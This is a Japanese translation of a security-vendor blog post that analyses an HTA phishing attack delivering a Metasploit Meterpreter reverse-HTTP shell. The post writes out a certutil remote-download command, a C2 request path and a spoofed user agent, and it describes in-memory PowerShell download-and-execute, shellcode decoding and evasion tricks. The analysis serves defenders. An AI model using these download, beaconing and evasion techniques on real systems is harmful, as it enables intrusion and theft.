Congratulations, You’ve Won a Meterpreter Shell by Josh Stroschein, Ratnesh Pandey and Alex Holland 2019年5月17日より
私たちが観測した攻撃は、ユーザが悪意あるHTA（HTMLアプリケーション）ファイルをホストするウェブサイトへと導くためのハイパーリンクをクリックすることで始まりました。HTAファイルは2段階のシェルコードの実行につながり、最終的にはMeterpreterリバースHTTPシェルセッションがC&Cサーバで確立されることになりました。この攻撃はしかし、うまく封じ込めることができました。それは、Bromium Secure Platform がウェブページを開こうとするような危険な動作をマイクロ仮想マシン内で隔離するからです。結果的に、攻撃者はネットワークへの足場を作ることができなかったのです。
HTAファイルの利用は、悪意のあるコードの実行への使用がよく知られている技術ですが[3]、この攻撃の場合は、攻撃者がなるべくその足跡を消そうとした痕跡があったため、これを調査する価値があると私たちは考えました。具体的には、メモリ内で数段階のシェルコードを直接実行したこと、攻撃者のネットワークトラフィックをごまかすために、標的の偵察によって得られた情報を応用したこと、「環境寄生」バイナリの利用などです。
それはHTAファイルから始まる
ハイパーリンクをクリックすると、標的は、sweepstakeApp.hta と名づけられたファイルをディスクに保存するよう指示されます。Internet Explorerを使ってこのサイトを訪れている場合は、標的はウェブブラウザからこのファイルを実行したり保存したりするよう指示されます（図1参照）。これは重要です。というのも、HTAファイルは、Microsoft HTML Application Host （mshta.exe ）を使ってInternet ExplorerかWindows Explorerから直接開くことしかできず、他のウェブブラウザからは開けないからです。攻撃者のコードを実行するための経路としてHTAを使うと決めたことは、使われているデフォルトのウェブブラウザなど、標的となるホスト環境の構成について一定レベルの知識を持っていたことを示唆しています。HTAファイルを使えば、開発者はVBScriptやJavaScript のようなスクリプト言語を用いることで、ユーザインタフェースやセキュリティ機能を使わず、Internet Explorerのエンジンを使うことができるのです。[4]
図1――Internet Explorerで悪意あるHTAを開くか保存するよう指示
ダウンロードされたHTAファイルには、図2でわかる通り、難読化されたVBScriptコードが入っています。実行すると、スクリプトがWindowsシェルの一部とやり取りできるようにするWScript.Shellをインスタンス化して、powershell.exeとcmd.exeを使った2つのコマンドを開始します。その間、ユーザは、ギフトカード懸賞の結果予測のポップアップ画面を見せられています（図3参照）。
図2 ―― HTAファイルの中の難読化されたVBScriptコード
図3―― おとりのアプリケーションをユーザに見せるポップアップ画面
1つ目のコマンドは、PowerShellのWebClient.DownloadStringメソッドを使ってURLから難読化されたPowerShellコマンドをダウンロードし、次にInvoke-Expression cmdletのIEXを別名を使ってメモリ内でそれを実行します。
図4――難読化されたスクリプトをメモリ内にダウンロードし、実行するPowerShellコマンド
図5――PowerShellを使ってダウンロードされた難読化されたコマンド
感染の第1段階を検証する
第2のコマンドは、cmd.exe プロセスを開始し、これによってWindowsに構成された、デジタル証明書の管理に使われる別のプログラム、certutil.exe が実行されます。この機能はまた、リモートサーバからファイルをダウンロードするのにも使えます。例えば、下記のようなコマンドを使うことによって、攻撃者はローカルでファイルをダウンロードして保存することができるのです。
certutil.exe -urlcache -split -f [URL] DestinationFile
ただしこの場合、与えられたURLのパラメータは、%USERDOMAIN% と%USERNAME%Inという、対象システムの環境変数を使って生成されたものであり、目的のファイルは”null”とされます。
図6―― HTAファイルがうまく実行されたことを敵に知らせるCertutilコマンド
URLに沿って進むと、HTTP 404のステータスコードが返されます。つまり、このコマンドはファイルをダウンロードするのではなく、攻撃者が制御するウェブサーバに、標的ホストのユーザ名とドメインを含んだGETリクエストを送信することで、HTAファイルの実行の成功を攻撃者に通知するために使われてしまうのです。攻撃者はただウェブサーバのログを監視して、どのユーザがHTAファイルを実行したかを確認すればいいのです。
難読化されたPowerShellコマンドの分析
PowerShellによってダウンロードされたコマンドには、圧縮されたBase64の暗号化ストリングが入っています。このストリングを解読し、解凍すると、図7で示すような別のPowerShellコマンドが表示されます。
図7―― 難読化が解除されたPowerShellコマンド
図7のコマンドには、難読化されたストリングが入っています。まず、このストリングがBase64から復号されます。その結果が今度はバイト配列に変換され、$var_code と呼ばれる変数に保管されます。最後に、スクリプトがForループ内に入り、これがバイト配列全体で反復され、ハードコードされた35という値を使って、各バイトでビット単位のXOR操作を実行します（base 10）。
図8――$var_code のバイト配列で、ビット単位のXOR操作を実行するForループ
難読化の解除に続き、図9のような出力が生成されます。ウェブブラウザのユーザエージェント、IPアドレス、URLなど、認識可能なストリングをいくつか確認することができます。
図9――第1段階のシェルコード
これは、PowerShellが割り当て関数VirtualAlloc を使ってメモリ内で実行する第1段階のシェルコードです。この関数の呼び出しにより、3000のflAllocationType のメモリ（MEM_RESERVEDとMEM_COMMIT）と、PAGE_EXECUTE_READWRITEのメモリ保護権限が割り当てられます。
第1段階のシェルコードの分析
第1段階のシェルコードをscdbg の中でエミュレートすると、その相関性が判明します（図10参照）。LoadLibraryA の呼び出しを使って、呼び出しプロセス、この場合はpowershell.exe.のプロセススペースにWinINet モジュールをロードします。WinINetは、ソフトウェアがHTTPとFTPのプロトコルを介してリソースとやり取りするために使用する標準のWindows APIです。
次に、ネットワーク接続を開始するためにInternetOpenAの呼び出しが行われます。その後、InternetConnectA の呼び出しが行われ、それによってTCPポート443を介してリモートサーバでHTTPSセッションが開きます。その後、HttpOpenRequestA が呼び出されてHTTPリクエストを作成し、サーバからオブジェクトを復元します（/pwn32.gif?pwnd=true ）。lpszVerbパラメータが無効なので、このリクエストはGET方式を使うことになります。次に、InternetSetOptionAを使ってオプションをいくつか構成します。最後に、HttpSendRequestAの呼び出しで、リクエストが送信されます。 固有のエージェントストリングが定義され、下記のCookieの値と一緒に表示されます。
Cookie: Session
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
このユーザエージェントストリングは、Windows 10のInternet Explorer 11に一致しています。重要なのは、ユーザエージェントストリングが標的ホストで使われているInternet Explorer のバージョンと一致していることで、これもまた、攻撃者が標的のネットワークを知っているという証拠になります。ユーザエージェントストリングを模倣することによって、マルウェアで生成されるネットワークトラフィックが、標的となった組織の正当なトラフィックと混ざってしまいやすくなるのです。
図10――scdbgで模倣された第1段階のシェルコード
シェルコードをデコンパイルすれば、scdbgでわかったことが確認できます。このシェルコードはまず、sub_88の機能を呼び出すことによって、位置独立コード（PIC）の動作を開始し、その最初の指示は、スタックの一番上にあるものをEBPレジスタにロードすることです。これによってこのコードで基準アドレスを知ることができるのは、CALLの指示で次の指示のアドレスがスタックに示されるからのです（図11参照）。
図11――sub_88の呼び出し
図12――スタックの一番上の値をEBPにする
マルウェアの作成者は、スタックストリングを使ってスタック上にストリングを生成しましたが、シェルコードではこのストリングを控えめに使っているように見えます。これはシェルコードでストリングを作成したり使用したりする簡単な方法ですが、標準のストリング検索機能を使ったシェルコードの相関性の検知が難しくもなります。図12はスタックストリングの使用法を示していますが、これはWindows API関数の呼び出しの変数として使われます。
関数の解決も、シェルコードにとって重要な最初のステップです。シェルコードは通常の実行可能ファイルとしてのロードの処理を経ないため、関数アドレスを独自で解決しなければなりません。これは通常、あるプロセスの中のマニュアル化されていない構成を使い、既にロードされているライブラリのエクスポートテーブルを手動で処理することで実現できます。さらに、多くのシェルコードの作成者は、必要な関数を探すために文字列を使うのを避けます。その代わりに、あらかじめ算出されたハッシュ値を使うのです。そのコードで、関数が必要なライブラリのハッシュ値を計算し、そのハッシュ値を比較します。これは、関数を探すのに計算上、効率がよい方法であるだけでなく、分析者が、ハッシュ値をそれが表す関数と関連づけなければならないため、分析が複雑になります。図12は、この手法の使い方を示したもので、ここでは、EBPの呼び出し前に任意の4バイトの値がスタックに追加されています。EBPには、希望の関数ポインタを探し、最終的にこの関数を実行する任務を持つ関数アドレスが入っています。
図13――スタックストリング
EBPの呼び出しは、元の呼び出し命令の後のアドレスです。このコードは、FS:30hを介してプロセス環境ブロック、つまりPEBという構造体へのポインタを取得することから開始します。この構造体によって、コードはそのプロセス空間にロードされている全ライブラリの双方向連結リストを取得することができます。この構造体を進むと、コードはどのライブラリでも基準アドレスを見つけることができ、その後、関数ポインタを探すためにエクスポートテーブルを進むことができます。つまり、この関数はあらかじめ算出されたハッシュを用いてコード全体で呼び出された関数をすべて探す任務を果たしており、最初から最後まで繰り返して使えるのです。
シェルコードがPEBをどう使うか、また関数ポインタを探すのにポータブル実行（PE）ファイル形式をどう解析するかということに疎い場合は、この関数の分析に時間を割く価値があるでしょう。でも、こうした分析の目的で、この関数に集中する必要はありません。その代わりに、標準外の関数の戻り値という証拠が、この関数が実行されたのがいつか判断するのに役立ち、分析者がシェルコード内を効果的に追跡することに集中できるようにします。このシェルコードでは、最終的に標準外の戻り値があり、それはJMP EAXです（図14参照）。
図14――標準外の戻り値
この時点で、コードはどんなものであれ関数が解決されるJMPに行きます。この関数を使って、コード全体で呼び出された関数を特定することが可能になります。
図15――API名を解決するための関数
呼び出し前に適切な変数がスタックに入っているようにした状態で、EBPの呼び出しを使ってさらに関数を呼び出します。このシェルコードは、HTTPリバースシェルを作成するというタスクを実行します。そのために、WinINetライブラリ内で発見されたコアのHTTP関数を多く使用します。これは実際には、第1段階のMeterpreterリバースHTTPシェルペイロード向けのシェルコードです[5]。Metasploit のリバースシェルにデフォルトで設定された動作は、2段階で行われます。第1段階は、上で分析されたように、ダウンロードを行う関数で、これによって第2段階のMeterpreterペイロードが取り込まれます。
このシェルコードで使われる関数：
LoadLibrary(WinINet)
InternetOpenA
InternetConnectA
HttpOpenRequestA
InternetSetOptionA
HttpSendRequestA
GetDesktopWindow
InternetErrorDlg
VirtualAllocStub
InternetReadFile
図16―― Bromium Controller で見られる処理の相互作用グラフ
図17――この脅威が活動している間に生成される危険度の高いイベント
軽減
Bromiumを実行しているエンドポイントがこの脅威から守られているのは、HTAファイルの実行のようなすべてのユーザタスクが、分離された独自のマイクロ仮想マシン(μVM)の中で実行されるからです。ユーザがμVM を閉じると、μVMと共にマルウェアは破棄されます。攻撃による脅威データの痕跡はBromium Controllerで記録され、表示されるので、セキュリティチームはすぐに、組織が直面している脅威について詳細な調査を行うことができるのです。
出典
[1] https://zeltser.com/fileless-attacks/
[2] https://lolbas-project.github.io/
[3] https://attack.mitre.org/techniques/T1170/
[4] https://docs.microsoft.com/en-us/previous-versions//ms536471(v=vs.85)
[5] https://github.com/rapid7/metasploit-framework/wiki/Meterpreter
本和訳文の著作権は株式会社ブロードに帰属します。